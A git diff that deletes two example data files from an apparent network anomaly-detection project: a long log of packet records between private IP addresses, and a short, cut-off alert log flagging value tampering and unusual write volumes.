-Other,60,55,192.168.2.201,192.168.2.101 - -Read,133,55,172.16.0.199,192.168.2.101 -Read,58,55,192.168.2.201,192.168.2.101 - -Other,61,55,192.168.2.101,192.168.2.201 -Other,60,55,172.16.0.199,192.168.2.101 - -Read,27,55,192.168.2.201,192.168.2.101 -Read,132,55,172.16.0.199,192.168.2.101 - -Other,37,55,192.168.2.101,192.168.2.201 -Other,60,55,172.16.0.199,192.168.2.101 -Other,10,55,172.16.0.200,192.168.2.101 - -Read,133,60,172.16.0.199,192.168.2.101 -Read,40,60,192.168.2.201,192.168.2.101 - -Other,61,60,172.16.0.199,192.168.2.101 -Other,41,60,192.168.2.201,192.168.2.101 - -Read,133,60,172.16.0.199,192.168.2.101 -Read,60,60,192.168.2.201,192.168.2.101 - -Other,61,60,172.16.0.199,192.168.2.101 -Other,61,60,192.168.2.201,192.168.2.101 - -Read,133,60,172.16.0.199,192.168.2.101 -Read,58,60,192.168.2.201,192.168.2.101 - -Other,61,60,172.16.0.199,192.168.2.101 -Other,61,60,192.168.2.201,192.168.2.101 - -Read,61,60,192.168.2.201,192.168.2.101 -Read,132,60,172.16.0.199,192.168.2.101 - -Other,62,60,192.168.2.201,192.168.2.101 -Other,60,60,172.16.0.199,192.168.2.101 - -Read,134,0,172.16.0.199,192.168.2.101 -Read,60,0,192.168.2.201,192.168.2.101 - -Other,63,0,192.168.2.201,192.168.2.101 -Other,60,0,172.16.0.199,192.168.2.101 - -Read,74,0,192.168.2.101,172.16.0.199 -Read,60,0,192.168.2.201,192.168.2.101 - -Other,40,0,172.16.0.199,192.168.2.101 -Other,61,0,192.168.2.201,192.168.2.101 - -Read,61,0,192.168.2.201,192.168.2.101 -Read,94,0,172.16.0.199,192.168.2.101 - -Other,64,0,192.168.2.201,192.168.2.101 -Other,67,0,172.16.0.199,192.168.2.101 - -Read,133,0,172.16.0.199,192.168.2.101 -Read,60,0,192.168.2.201,192.168.2.101 - -Other,76,0,172.16.0.199,192.168.2.101 -Other,63,0,192.168.2.201,192.168.2.101 -Other,10,0,172.16.0.200,192.168.2.101 - -Read,133,0,172.16.0.199,192.168.2.101 -Read,58,0,192.168.2.201,192.168.2.101 - -Other,76,0,172.16.0.199,192.168.2.101 -Other,61,0,192.168.2.201,192.168.2.101 - -Read,133,0,172.16.0.199,192.168.2.101 -Read,60,0,192.168.2.201,192.168.2.101 - -Other,62,0,192.168.2.201,192.168.2.101 -Other,69,0,172.16.0.199,192.168.2.101 -Other,10,0,172.16.0.200,192.168.2.101 - -Read,133,5,172.16.0.199,192.168.2.101 -Read,60,5,192.168.2.201,192.168.2.101 - -Other,63,5,172.16.0.199,192.168.2.101 -Other,63,5,192.168.2.201,192.168.2.101 - -Read,133,5,172.16.0.199,192.168.2.101 -Read,60,5,192.168.2.201,192.168.2.101 - -Other,61,5,172.16.0.199,192.168.2.101 -Other,61,5,192.168.2.201,192.168.2.101 - -Read,133,5,172.16.0.199,192.168.2.101 -Read,58,5,192.168.2.201,192.168.2.101 - -Other,61,5,172.16.0.199,192.168.2.101 -Other,60,5,192.168.2.201,192.168.2.101 - -Read,133,5,172.16.0.199,192.168.2.101 -Read,60,5,192.168.2.201,192.168.2.101 - -Other,62,5,192.168.2.201,192.168.2.101 -Other,60,5,172.16.0.199,192.168.2.101 - -Read,133,5,172.16.0.199,192.168.2.101 -Read,60,5,192.168.2.201,192.168.2.101 - -Other,63,5,192.168.2.101,192.168.2.201 -Other,60,5,172.16.0.199,192.168.2.101 - -Read,133,5,172.16.0.199,192.168.2.101 -Read,60,5,192.168.2.201,192.168.2.101 - -Other,61,5,172.16.0.199,192.168.2.101 -Other,62,5,192.168.2.101,192.168.2.201 - -Read,135,5,192.168.2.101,172.16.0.199 -Read,60,5,192.168.2.201,192.168.2.101 - -Other,61,5,172.16.0.199,192.168.2.101 -Other,61,5,192.168.2.201,192.168.2.101 - -Read,132,5,172.16.0.199,192.168.2.101 -Read,60,5,192.168.2.201,192.168.2.101 - -Other,61,5,172.16.0.199,192.168.2.101 -Other,60,5,192.168.2.201,192.168.2.101 -Other,10,5,172.16.0.200,192.168.2.101 - -Read,133,5,192.168.2.101,172.16.0.199 -Read,58,5,192.168.2.201,192.168.2.101 - -Other,60,5,192.168.2.101,192.168.2.201 -Other,60,5,172.16.0.199,192.168.2.101 - -Read,134,5,192.168.2.101,172.16.0.199 -Read,60,5,192.168.2.201,192.168.2.101 - -Other,62,5,192.168.2.201,192.168.2.101 -Other,60,5,172.16.0.199,192.168.2.101 -Other,10,5,172.16.0.200,192.168.2.101 - -Read,61,10,192.168.2.201,192.168.2.101 -Read,132,10,172.16.0.199,192.168.2.101 - -Other,61,10,172.16.0.199,192.168.2.101 -Other,61,10,192.168.2.201,192.168.2.101 - -Read,133,10,172.16.0.199,192.168.2.101 -Read,60,10,192.168.2.201,192.168.2.101 - -Other,61,10,172.16.0.199,192.168.2.101 -Other,62,10,192.168.2.201,192.168.2.101 - -Read,133,10,172.16.0.199,192.168.2.101 -Read,58,10,192.168.2.201,192.168.2.101 - -Other,61,10,172.16.0.199,192.168.2.101 -Other,58,10,192.168.2.201,192.168.2.101 - -Read,61,10,192.168.2.201,192.168.2.101 -Read,132,10,172.16.0.199,192.168.2.101 - -Other,64,10,192.168.2.201,192.168.2.101 -Other,60,10,172.16.0.199,192.168.2.101 - -Read,133,10,192.168.2.101,172.16.0.199 -Read,59,10,192.168.2.201,192.168.2.101 - -Other,61,10,172.16.0.199,192.168.2.101 -Other,61,10,192.168.2.201,192.168.2.101 - -Read,60,10,192.168.2.101,192.168.2.201 -Read,132,10,172.16.0.199,192.168.2.101 - -Other,62,10,192.168.2.201,192.168.2.101 -Other,60,10,172.16.0.199,192.168.2.101 - -Read,133,10,172.16.0.199,192.168.2.101 -Read,60,10,192.168.2.201,192.168.2.101 - -Other,61,10,172.16.0.199,192.168.2.101 -Other,61,10,192.168.2.201,192.168.2.101 - -Read,133,10,172.16.0.199,192.168.2.101 -Read,58,10,192.168.2.201,192.168.2.101 -Write,3,10,192.168.2.201,192.168.2.101 - -Other,61,10,172.16.0.199,192.168.2.101 -Other,61,10,192.168.2.201,192.168.2.101 -Other,10,10,172.16.0.200,192.168.2.101 - -Read,61,10,192.168.2.201,192.168.2.101 -Read,132,10,172.16.0.199,192.168.2.101 -Write,3,10,192.168.2.201,192.168.2.101 - -Other,61,10,172.16.0.199,192.168.2.101 -Other,64,10,192.168.2.101,192.168.2.201 -Other,2,10,172.16.0.200,192.168.2.101 - -Read,133,10,192.168.2.101,172.16.0.199 -Read,60,10,192.168.2.201,192.168.2.101 - -Other,61,10,172.16.0.199,192.168.2.101 -Other,61,10,192.168.2.201,192.168.2.101 -Other,8,10,172.16.0.200,192.168.2.101 - -Read,133,15,172.16.0.199,192.168.2.101 -Read,60,15,192.168.2.201,192.168.2.101 -Write,5,15,192.168.2.201,192.168.2.101 - -Other,61,15,172.16.0.199,192.168.2.101 -Other,64,15,192.168.2.201,192.168.2.101 - -Read,133,15,172.16.0.199,192.168.2.101 -Read,60,15,192.168.2.201,192.168.2.101 - -Other,61,15,172.16.0.199,192.168.2.101 -Other,61,15,192.168.2.201,192.168.2.101 - -Read,133,15,172.16.0.199,192.168.2.101 -Read,58,15,192.168.2.201,192.168.2.101 - -Other,62,15,192.168.2.101,192.168.2.201 -Other,60,15,172.16.0.199,192.168.2.101 - -Read,61,15,192.168.2.201,192.168.2.101 -Read,132,15,172.16.0.199,192.168.2.101 - -Other,61,15,172.16.0.199,192.168.2.101 -Other,62,15,192.168.2.201,192.168.2.101 - -Read,35,15,192.168.2.201,192.168.2.101 -Read,132,15,172.16.0.199,192.168.2.101 - -Other,61,15,172.16.0.199,192.168.2.101 -Other,41,15,192.168.2.201,192.168.2.101 - -Read,133,15,192.168.2.101,172.16.0.199 -Read,60,15,192.168.2.201,192.168.2.101 -Write,17,15,192.168.2.201,192.168.2.101 - -Other,61,15,172.16.0.199,192.168.2.101 -Other,76,15,192.168.2.201,192.168.2.101 - -Read,133,15,172.16.0.199,192.168.2.101 -Read,58,15,192.168.2.201,192.168.2.101 -Write,19,15,192.168.2.201,192.168.2.101 - -Other,61,15,172.16.0.199,192.168.2.101 -Other,76,15,192.168.2.201,192.168.2.101 - -Read,61,15,192.168.2.201,192.168.2.101 -Read,132,15,172.16.0.199,192.168.2.101 -Write,33,15,192.168.2.201,192.168.2.101 - -Other,61,15,172.16.0.199,192.168.2.101 -Other,94,15,192.168.2.201,192.168.2.101 -Other,10,15,172.16.0.200,192.168.2.101 - -Read,61,15,192.168.2.201,192.168.2.101 -Read,132,15,172.16.0.199,192.168.2.101 -Write,37,15,192.168.2.201,192.168.2.101 - -Other,61,15,172.16.0.199,192.168.2.101 -Other,96,15,192.168.2.201,192.168.2.101 -Other,4,15,172.16.0.200,192.168.2.101 - -Read,133,15,172.16.0.199,192.168.2.101 -Read,60,15,192.168.2.201,192.168.2.101 - -Other,61,15,172.16.0.199,192.168.2.101 -Other,62,15,192.168.2.101,192.168.2.201 -Other,6,15,172.16.0.200,192.168.2.101 - -Read,133,20,172.16.0.199,192.168.2.101 -Read,60,20,192.168.2.201,192.168.2.101 - -Other,61,20,172.16.0.199,192.168.2.101 -Other,61,20,192.168.2.201,192.168.2.101 - -Read,133,20,172.16.0.199,192.168.2.101 -Read,58,20,192.168.2.201,192.168.2.101 - -Other,61,20,172.16.0.199,192.168.2.101 -Other,60,20,192.168.2.201,192.168.2.101 - -Read,61,20,192.168.2.201,192.168.2.101 -Read,132,20,172.16.0.199,192.168.2.101 - -Other,62,20,172.16.0.199,192.168.2.101 -Other,61,20,192.168.2.201,192.168.2.101 - -Read,133,20,172.16.0.199,192.168.2.101 -Read,60,20,192.168.2.201,192.168.2.101 - -Other,61,20,172.16.0.199,192.168.2.101 -Other,61,20,192.168.2.201,192.168.2.101 - -Read,133,20,192.168.2.101,172.16.0.199 -Read,60,20,192.168.2.201,192.168.2.101 - -Other,61,20,172.16.0.199,192.168.2.101 -Other,62,20,192.168.2.201,192.168.2.101 - -Read,133,20,172.16.0.199,192.168.2.101 -Read,60,20,192.168.2.201,192.168.2.101 - -Other,61,20,172.16.0.199,192.168.2.101 -Other,62,20,192.168.2.201,192.168.2.101 - -Read,133,20,172.16.0.199,192.168.2.101 -Read,58,20,192.168.2.201,192.168.2.101 - -Other,62,20,172.16.0.199,192.168.2.101 -Other,60,20,192.168.2.201,192.168.2.101 - -Read,61,20,192.168.2.201,192.168.2.101 -Read,132,20,172.16.0.199,192.168.2.101 - -Other,63,20,172.16.0.199,192.168.2.101 -Other,62,20,192.168.2.201,192.168.2.101 -Other,10,20,172.16.0.200,192.168.2.101 - -Read,133,20,172.16.0.199,192.168.2.101 -Read,60,20,192.168.2.201,192.168.2.101 - -Other,61,20,172.16.0.199,192.168.2.101 -Other,62,20,192.168.2.201,192.168.2.101 -Other,6,20,172.16.0.200,192.168.2.101 - -Read,133,20,172.16.0.199,192.168.2.101 -Read,60,20,192.168.2.201,192.168.2.101 - -Other,62,20,172.16.0.199,192.168.2.101 -Other,62,20,192.168.2.101,192.168.2.201 -Other,4,20,172.16.0.200,192.168.2.101 - -Read,133,25,172.16.0.199,192.168.2.101 -Read,58,25,192.168.2.201,192.168.2.101 - -Other,62,25,172.16.0.199,192.168.2.101 -Other,59,25,192.168.2.201,192.168.2.101 - -Read,41,25,192.168.2.201,192.168.2.101 -Read,132,25,172.16.0.199,192.168.2.101 - -Other,51,25,192.168.2.201,192.168.2.101 -Other,62,25,172.16.0.199,192.168.2.101 - -Read,61,25,192.168.2.201,192.168.2.101 -Read,132,25,172.16.0.199,192.168.2.101 - -Other,62,25,172.16.0.199,192.168.2.101 -Other,62,25,192.168.2.201,192.168.2.101 - -Read,133,25,172.16.0.199,192.168.2.101 -Read,60,25,192.168.2.201,192.168.2.101 - -Other,61,25,172.16.0.199,192.168.2.101 -Other,61,25,192.168.2.201,192.168.2.101 - -Read,133,25,172.16.0.199,192.168.2.101 -Read,60,25,192.168.2.201,192.168.2.101 -Write,33,25,192.168.2.201,192.168.2.101 - -Other,62,25,172.16.0.199,192.168.2.101 -Other,93,25,192.168.2.201,192.168.2.101 - -Read,133,25,172.16.0.199,192.168.2.101 -Read,58,25,192.168.2.201,192.168.2.101 - -Other,61,25,172.16.0.199,192.168.2.101 -Other,58,25,192.168.2.201,192.168.2.101 - -Read,61,25,192.168.2.201,192.168.2.101 -Read,132,25,172.16.0.199,192.168.2.101 - -Other,62,25,172.16.0.199,192.168.2.101 -Other,61,25,192.168.2.201,192.168.2.101 - -Read,61,25,192.168.2.201,192.168.2.101 -Read,132,25,172.16.0.199,192.168.2.101 - -Other,64,25,192.168.2.201,192.168.2.101 -Other,62,25,172.16.0.199,192.168.2.101 -Other,10,25,172.16.0.200,192.168.2.101 - -Read,133,25,172.16.0.199,192.168.2.101 -Read,60,25,192.168.2.201,192.168.2.101 - -Other,64,25,192.168.2.201,192.168.2.101 -Other,64,25,172.16.0.199,192.168.2.101 -Other,6,25,172.16.0.200,192.168.2.101 - -Read,133,25,192.168.2.101,172.16.0.199 -Read,60,25,192.168.2.201,192.168.2.101 - -Other,77,25,172.16.0.199,192.168.2.101 -Other,61,25,192.168.2.201,192.168.2.101 -Other,4,25,172.16.0.200,192.168.2.101 - -Read,133,30,172.16.0.199,192.168.2.101 -Read,58,30,192.168.2.201,192.168.2.101 - -Other,77,30,172.16.0.199,192.168.2.101 -Other,62,30,192.168.2.101,192.168.2.201 - -Read,61,30,192.168.2.201,192.168.2.101 -Read,132,30,172.16.0.199,192.168.2.101 - -Other,63,30,192.168.2.201,192.168.2.101 -Other,80,30,172.16.0.199,192.168.2.101 - -Read,61,30,192.168.2.201,192.168.2.101 -Read,132,30,172.16.0.199,192.168.2.101 - -Other,63,30,192.168.2.201,192.168.2.101 -Other,77,30,172.16.0.199,192.168.2.101 - -Read,133,30,172.16.0.199,192.168.2.101 -Read,60,30,192.168.2.201,192.168.2.101 - -Other,62,30,192.168.2.201,192.168.2.101 -Other,76,30,172.16.0.199,192.168.2.101 - -Read,133,30,172.16.0.199,192.168.2.101 -Read,60,30,192.168.2.201,192.168.2.101 - -Other,79,30,172.16.0.199,192.168.2.101 -Other,61,30,192.168.2.101,192.168.2.201 -Other,37,30,192.168.2.4,192.168.2.101 - -Read,133,30,172.16.0.199,192.168.2.101 -Read,60,30,192.168.2.201,192.168.2.101 - -Other,75,30,172.16.0.199,192.168.2.101 -Other,61,30,192.168.2.201,192.168.2.101 - -Read,133,30,172.16.0.199,192.168.2.101 -Read,58,30,192.168.2.201,192.168.2.101 - -Other,77,30,172.16.0.199,192.168.2.101 -Other,60,30,192.168.2.101,192.168.2.201 - -Read,61,30,192.168.2.201,192.168.2.101 -Read,132,30,172.16.0.199,192.168.2.101 - -Other,62,30,192.168.2.201,192.168.2.101 -Other,76,30,192.168.2.101,172.16.0.199 -Other,8,30,172.16.0.200,192.168.2.101 - -Read,133,30,172.16.0.199,192.168.2.101 -Read,60,30,192.168.2.201,192.168.2.101 - -Other,9,30,172.16.0.200,192.168.2.101 -Other,74,30,192.168.2.101,172.16.0.199 -Other,62,30,192.168.2.201,192.168.2.101 - -Read,133,30,172.16.0.199,192.168.2.101 -Read,60,30,192.168.2.201,192.168.2.101 - -Other,74,30,192.168.2.101,172.16.0.199 -Other,61,30,192.168.2.201,192.168.2.101 -Other,4,30,172.16.0.200,192.168.2.101 - -Read,133,35,172.16.0.199,192.168.2.101 -Read,60,35,192.168.2.201,192.168.2.101 - -Other,70,35,192.168.2.101,172.16.0.199 -Other,61,35,192.168.2.101,192.168.2.201 - -Read,133,35,172.16.0.199,192.168.2.101 -Read,58,35,192.168.2.201,192.168.2.101 - -Other,61,35,192.168.2.101,192.168.2.201 -Other,62,35,172.16.0.199,192.168.2.101 - -Read,61,35,192.168.2.201,192.168.2.101 -Read,132,35,172.16.0.199,192.168.2.101 - -Other,62,35,192.168.2.201,192.168.2.101 -Other,60,35,172.16.0.199,192.168.2.101 - -Read,133,35,172.16.0.199,192.168.2.101 -Read,60,35,192.168.2.201,192.168.2.101 - -Other,62,35,192.168.2.201,192.168.2.101 -Other,60,35,172.16.0.199,192.168.2.101 - -Read,133,35,172.16.0.199,192.168.2.101 -Read,60,35,192.168.2.201,192.168.2.101 - -Other,61,35,172.16.0.199,192.168.2.101 -Other,61,35,192.168.2.201,192.168.2.101 - -Read,133,35,172.16.0.199,192.168.2.101 -Read,60,35,192.168.2.201,192.168.2.101 - -Other,61,35,172.16.0.199,192.168.2.101 -Other,61,35,192.168.2.201,192.168.2.101 - -Read,133,35,172.16.0.199,192.168.2.101 -Read,58,35,192.168.2.201,192.168.2.101 - -Other,61,35,192.168.2.101,192.168.2.201 -Other,60,35,172.16.0.199,192.168.2.101 - -Read,61,35,192.168.2.201,192.168.2.101 -Read,132,35,172.16.0.199,192.168.2.101 - -Other,62,35,192.168.2.201,192.168.2.101 -Other,60,35,172.16.0.199,192.168.2.101 - -Read,133,35,172.16.0.199,192.168.2.101 -Read,60,35,192.168.2.201,192.168.2.101 - -Other,17,35,172.16.0.200,192.168.2.101 -Other,61,35,192.168.2.201,192.168.2.101 -Other,60,35,172.16.0.199,192.168.2.101 - -Read,133,35,172.16.0.199,192.168.2.101 -Read,60,35,192.168.2.201,192.168.2.101 - -Other,61,35,172.16.0.199,192.168.2.101 -Other,61,35,192.168.2.201,192.168.2.101 -Other,4,35,172.16.0.200,192.168.2.101 - -Read,133,40,172.16.0.199,192.168.2.101 -Read,60,40,192.168.2.201,192.168.2.101 - -Other,61,40,172.16.0.199,192.168.2.101 -Other,60,40,192.168.2.201,192.168.2.101 - -Read,133,40,172.16.0.199,192.168.2.101 -Read,58,40,192.168.2.201,192.168.2.101 - -Other,61,40,172.16.0.199,192.168.2.101 -Other,59,40,192.168.2.201,192.168.2.101 - -Read,61,40,192.168.2.201,192.168.2.101 -Read,132,40,172.16.0.199,192.168.2.101 - -Other,63,40,192.168.2.201,192.168.2.101 -Other,60,40,172.16.0.199,192.168.2.101 - -Read,133,40,172.16.0.199,192.168.2.101 -Read,60,40,192.168.2.201,192.168.2.101 - -Other,61,40,192.168.2.201,192.168.2.101 -Other,60,40,172.16.0.199,192.168.2.101 - -Read,133,40,172.16.0.199,192.168.2.101 -Read,60,40,192.168.2.201,192.168.2.101 - -Other,61,40,172.16.0.199,192.168.2.101 -Other,60,40,192.168.2.201,192.168.2.101 - -Read,133,40,172.16.0.199,192.168.2.101 -Read,60,40,192.168.2.201,192.168.2.101 -StartUpload,74,40,192.168.2.4,192.168.2.101 -Upload,113,40,192.168.2.4,192.168.2.101 -EndUpload,73,40,192.168.2.4,192.168.2.101 - -Other,61,40,172.16.0.199,192.168.2.101 -Other,62,40,192.168.2.201,192.168.2.101 -Other,309,40,192.168.2.4,192.168.2.101 - -Read,133,40,172.16.0.199,192.168.2.101 -Read,58,40,192.168.2.201,192.168.2.101 - -Other,61,40,172.16.0.199,192.168.2.101 -Other,58,40,192.168.2.201,192.168.2.101 - -Read,61,40,192.168.2.201,192.168.2.101 -Read,132,40,172.16.0.199,192.168.2.101 - -Other,63,40,192.168.2.201,192.168.2.101 -Other,60,40,172.16.0.199,192.168.2.101 - -Read,133,40,172.16.0.199,192.168.2.101 -Read,60,40,192.168.2.201,192.168.2.101 - -Other,61,40,192.168.2.201,192.168.2.101 -Other,60,40,172.16.0.199,192.168.2.101 -Other,16,40,172.16.0.200,192.168.2.101 - -Read,133,40,192.168.2.101,172.16.0.199 -Read,60,40,192.168.2.201,192.168.2.101 - -Other,61,40,172.16.0.199,192.168.2.101 -Other,61,40,192.168.2.201,192.168.2.101 -Other,4,40,172.16.0.200,192.168.2.101 - -Read,133,45,172.16.0.199,192.168.2.101 -Read,60,45,192.168.2.201,192.168.2.101 - -Other,61,45,172.16.0.199,192.168.2.101 -Other,62,45,192.168.2.201,192.168.2.101 - -Read,133,45,172.16.0.199,192.168.2.101 -Read,58,45,192.168.2.201,192.168.2.101 - -Other,61,45,172.16.0.199,192.168.2.101 -Other,60,45,192.168.2.201,192.168.2.101 - -Read,61,45,192.168.2.201,192.168.2.101 -Read,132,45,172.16.0.199,192.168.2.101 - -Other,63,45,192.168.2.201,192.168.2.101 -Other,60,45,172.16.0.199,192.168.2.101 - -Read,133,45,172.16.0.199,192.168.2.101 -Read,60,45,192.168.2.201,192.168.2.101 - -Other,63,45,192.168.2.201,192.168.2.101 -Other,60,45,172.16.0.199,192.168.2.101 - -Read,133,45,172.16.0.199,192.168.2.101 -Read,60,45,192.168.2.201,192.168.2.101 -Write,3,45,192.168.2.7,192.168.2.101 - -Other,61,45,172.16.0.199,192.168.2.101 -Other,61,45,192.168.2.201,192.168.2.101 -Other,18,45,192.168.2.7,192.168.2.101 - -Read,133,45,172.16.0.199,192.168.2.101 -Read,60,45,192.168.2.201,192.168.2.101 - -Other,61,45,172.16.0.199,192.168.2.101 -Other,60,45,192.168.2.201,192.168.2.101 - -Read,133,45,172.16.0.199,192.168.2.101 -Read,60,45,192.168.2.201,192.168.2.101 -Read,12,45,192.168.2.7,192.168.2.101 -Write,4065,45,192.168.2.7,192.168.2.101 - -Other,61,45,172.16.0.199,192.168.2.101 -Other,63,45,192.168.2.201,192.168.2.101 -Other,135,45,192.168.2.7,192.168.2.101 - -Read,133,45,172.16.0.199,192.168.2.101 -Read,58,45,192.168.2.201,192.168.2.101 -Read,12,45,192.168.2.7,192.168.2.101 -Write,3,45,192.168.2.7,192.168.2.101 - -Other,61,45,172.16.0.199,192.168.2.101 -Other,60,45,192.168.2.201,192.168.2.101 -Other,28,45,192.168.2.7,192.168.2.101 - -Read,133,45,172.16.0.199,192.168.2.101 -Read,60,45,192.168.2.201,192.168.2.101 - -Other,62,45,192.168.2.201,192.168.2.101 -Other,60,45,172.16.0.199,192.168.2.101 -Other,16,45,172.16.0.200,192.168.2.101 - -Read,133,45,172.16.0.199,192.168.2.101 -Read,60,45,192.168.2.201,192.168.2.101 -Write,31,45,192.168.2.201,192.168.2.101 - -Other,61,45,172.16.0.199,192.168.2.101 -Other,91,45,192.168.2.201,192.168.2.101 -Other,4,45,172.16.0.200,192.168.2.101 - -Read,134,50,172.16.0.199,192.168.2.101 -Read,60,50,192.168.2.201,192.168.2.101 - -Other,61,50,172.16.0.199,192.168.2.101 -Other,61,50,192.168.2.201,192.168.2.101 - -Read,134,50,192.168.2.101,172.16.0.199 -Read,60,50,192.168.2.201,192.168.2.101 - -Other,61,50,172.16.0.199,192.168.2.101 -Other,61,50,192.168.2.201,192.168.2.101 - -Read,133,50,172.16.0.199,192.168.2.101 -Read,58,50,192.168.2.201,192.168.2.101 - -Other,61,50,172.16.0.199,192.168.2.101 -Other,59,50,192.168.2.201,192.168.2.101 - -Read,61,50,192.168.2.201,192.168.2.101 -Read,132,50,172.16.0.199,192.168.2.101 - -Other,63,50,192.168.2.201,192.168.2.101 -Other,60,50,172.16.0.199,192.168.2.101 - -Read,61,50,192.168.2.201,192.168.2.101 -Read,132,50,172.16.0.199,192.168.2.101 - -Other,61,50,172.16.0.199,192.168.2.101 -Other,61,50,192.168.2.201,192.168.2.101 - -Read,133,50,172.16.0.199,192.168.2.101 -Read,60,50,192.168.2.201,192.168.2.101 - -Other,64,50,172.16.0.199,192.168.2.101 -Other,62,50,192.168.2.201,192.168.2.101 - -Read,133,50,172.16.0.199,192.168.2.101 -Read,60,50,192.168.2.201,192.168.2.101 - -Other,61,50,172.16.0.199,192.168.2.101 -Other,61,50,192.168.2.201,192.168.2.101 - -Read,133,50,172.16.0.199,192.168.2.101 -Read,58,50,192.168.2.201,192.168.2.101 - -Other,64,50,172.16.0.199,192.168.2.101 -Other,60,50,192.168.2.201,192.168.2.101 - -Read,61,50,192.168.2.201,192.168.2.101 -Read,132,50,172.16.0.199,192.168.2.101 - -Other,63,50,192.168.2.201,192.168.2.101 -Other,63,50,172.16.0.199,192.168.2.101 -Other,16,50,172.16.0.200,192.168.2.101 - -Read,61,50,192.168.2.201,192.168.2.101 -Read,132,50,172.16.0.199,192.168.2.101 - -Other,61,50,172.16.0.199,192.168.2.101 -Other,61,50,192.168.2.201,192.168.2.101 -Other,4,50,172.16.0.200,192.168.2.101 - -Read,133,55,192.168.2.101,172.16.0.199 -Read,60,55,192.168.2.201,192.168.2.101 - -Other,62,55,172.16.0.199,192.168.2.101 -Other,61,55,192.168.2.201,192.168.2.101 - -Read,133,55,172.16.0.199,192.168.2.101 -Read,60,55,192.168.2.201,192.168.2.101 - -Other,61,55,172.16.0.199,192.168.2.101 -Other,63,55,192.168.2.201,192.168.2.101 - -Read,133,55,172.16.0.199,192.168.2.101 -Read,58,55,192.168.2.201,192.168.2.101 - -Other,61,55,172.16.0.199,192.168.2.101 -Other,59,55,192.168.2.201,192.168.2.101 - -Read,61,55,192.168.2.201,192.168.2.101 -Read,132,55,172.16.0.199,192.168.2.101 - -Other,62,55,172.16.0.199,192.168.2.101 -Other,60,55,192.168.2.201,192.168.2.101 - -Read,133,55,172.16.0.199,192.168.2.101 -Read,60,55,192.168.2.201,192.168.2.101 - -Other,61,55,172.16.0.199,192.168.2.101 -Other,62,55,192.168.2.201,192.168.2.101 - -Read,133,55,172.16.0.199,192.168.2.101 -Read,60,55,192.168.2.201,192.168.2.101 - -Other,63,55,172.16.0.199,192.168.2.101 -Other,62,55,192.168.2.201,192.168.2.101 - -Read,133,55,172.16.0.199,192.168.2.101 -Read,60,55,192.168.2.201,192.168.2.101 -Read,12,55,192.168.2.7,192.168.2.101 - -Other,61,55,172.16.0.199,192.168.2.101 -Other,60,55,192.168.2.201,192.168.2.101 -Other,15,55,192.168.2.7,192.168.2.101 - -Read,133,55,172.16.0.199,192.168.2.101 -Read,58,55,192.168.2.201,192.168.2.101 - -Other,63,55,192.168.2.201,192.168.2.101 -Other,60,55,172.16.0.199,192.168.2.101 - -Read,61,55,192.168.2.201,192.168.2.101 -Read,132,55,172.16.0.199,192.168.2.101 - -Other,64,55,192.168.2.201,192.168.2.101 -Other,60,55,172.16.0.199,192.168.2.101 -Other,16,55,172.16.0.200,192.168.2.101 - -Read,133,55,172.16.0.199,192.168.2.101 -Read,60,55,192.168.2.201,192.168.2.101 - -Other,5,55,172.16.0.200,192.168.2.101 -Other,61,55,192.168.2.201,192.168.2.101 -Other,61,55,172.16.0.199,192.168.2.101 - -Read,133,60,172.16.0.199,192.168.2.101 -Read,60,60,192.168.2.201,192.168.2.101 - -Other,61,60,172.16.0.199,192.168.2.101 -Other,63,60,192.168.2.201,192.168.2.101 - -Read,133,60,172.16.0.199,192.168.2.101 -Read,59,60,192.168.2.201,192.168.2.101 - -Other,61,60,172.16.0.199,192.168.2.101 -Other,60,60,192.168.2.101,192.168.2.201 - -Read,60,60,192.168.2.101,192.168.2.201 -Read,132,60,172.16.0.199,192.168.2.101 - -Other,63,60,192.168.2.201,192.168.2.101 -Other,60,60,172.16.0.199,192.168.2.101 - -Read,133,60,172.16.0.199,192.168.2.101 -Read,60,60,192.168.2.201,192.168.2.101 - -Other,63,60,192.168.2.201,192.168.2.101 -Other,64,60,172.16.0.199,192.168.2.101 - -Read,133,0,172.16.0.199,192.168.2.101 -Read,60,0,192.168.2.201,192.168.2.101 - -Other,63,0,192.168.2.201,192.168.2.101 -Other,70,0,172.16.0.199,192.168.2.101 - -Read,133,0,172.16.0.199,192.168.2.101 -Read,60,0,192.168.2.201,192.168.2.101 - -Other,76,0,172.16.0.199,192.168.2.101 -Other,61,0,192.168.2.201,192.168.2.101 - -Read,133,0,172.16.0.199,192.168.2.101 -Read,60,0,192.168.2.201,192.168.2.101 - -Other,77,0,172.16.0.199,192.168.2.101 -Other,62,0,192.168.2.201,192.168.2.101 - -Read,133,0,172.16.0.199,192.168.2.101 -Read,58,0,192.168.2.201,192.168.2.101 - -Other,61,0,192.168.2.101,192.168.2.201 -Other,77,0,172.16.0.199,192.168.2.101 - -Read,61,0,192.168.2.201,192.168.2.101 -Read,132,0,172.16.0.199,192.168.2.101 - -Other,64,0,192.168.2.201,192.168.2.101 -Other,76,0,172.16.0.199,192.168.2.101 -Other,16,0,172.16.0.200,192.168.2.101 - diff --git a/Example-Files/my_logs.txt b/Example-Files/my_logs.txt deleted file mode 100644 index e499139..0000000 --- a/Example-Files/my_logs.txt +++ /dev/null @@ -1,35 +0,0 @@ -09 Jul 2016 14:36:28: [Critical Alert] Value tampering detected, src: 192.168.0.12, dst: 192.168.0.101 - -09 Jul 2016 14:36:33: [Critical Alert] Value tampering detected, src: 192.168.0.100, dst: 192.168.0.101 - -09 Jul 2016 14:36:38: [Critical Alert] Value tampering detected, src: 192.168.0.100, dst: 192.168.0.101 - -09 Jul 2016 14:36:40: [Medium Alert] High Quantity - 137 x Write packets, src: 192.168.0.12, dst: 192.168.0.101, time interval: 35 ---> Unusual time for this activity - -09 Jul 2016 14:40:29: [Critical Alert] Value tampering detected, src: 192.168.0.100, dst: 192.168.0.101 - -09 Jul 2016 14:40:34: [Critical Alert] Value tampering detected, src: 192.168.0.100, dst: 192.168.0.101 - -09 Jul 2016 14:40:39: [Critical Alert] Value tampering detected, src: 192.168.0.100, dst: 192.168.0.101 - -09 Jul 2016 14:40:42: [Medium Alert] High Quantity - 171 x Write packets, src: 192.168.0.12, dst: 192.168.0.101, time interval: 40 ---> Unusual time for this activity - -09 Jul 2016 14:40:44: [Critical Alert] Value tampering detected, src: 192.168.0.100, dst: 192.168.0.101 - -09 Jul 2016 14:41:12: [Medium Alert] High Quantity - 25 x Write packets, src: 192.168.0.101, dst: 192.168.0.12, time interval: 40 ---> Unusual time for this activity - -09 Jul 2016 14:46:51: [Critical Alert] Value tampering detected, src: 192.168.0.100, dst: 192.168.0.101 - -09 Jul 2016 14:46:56: [Critical 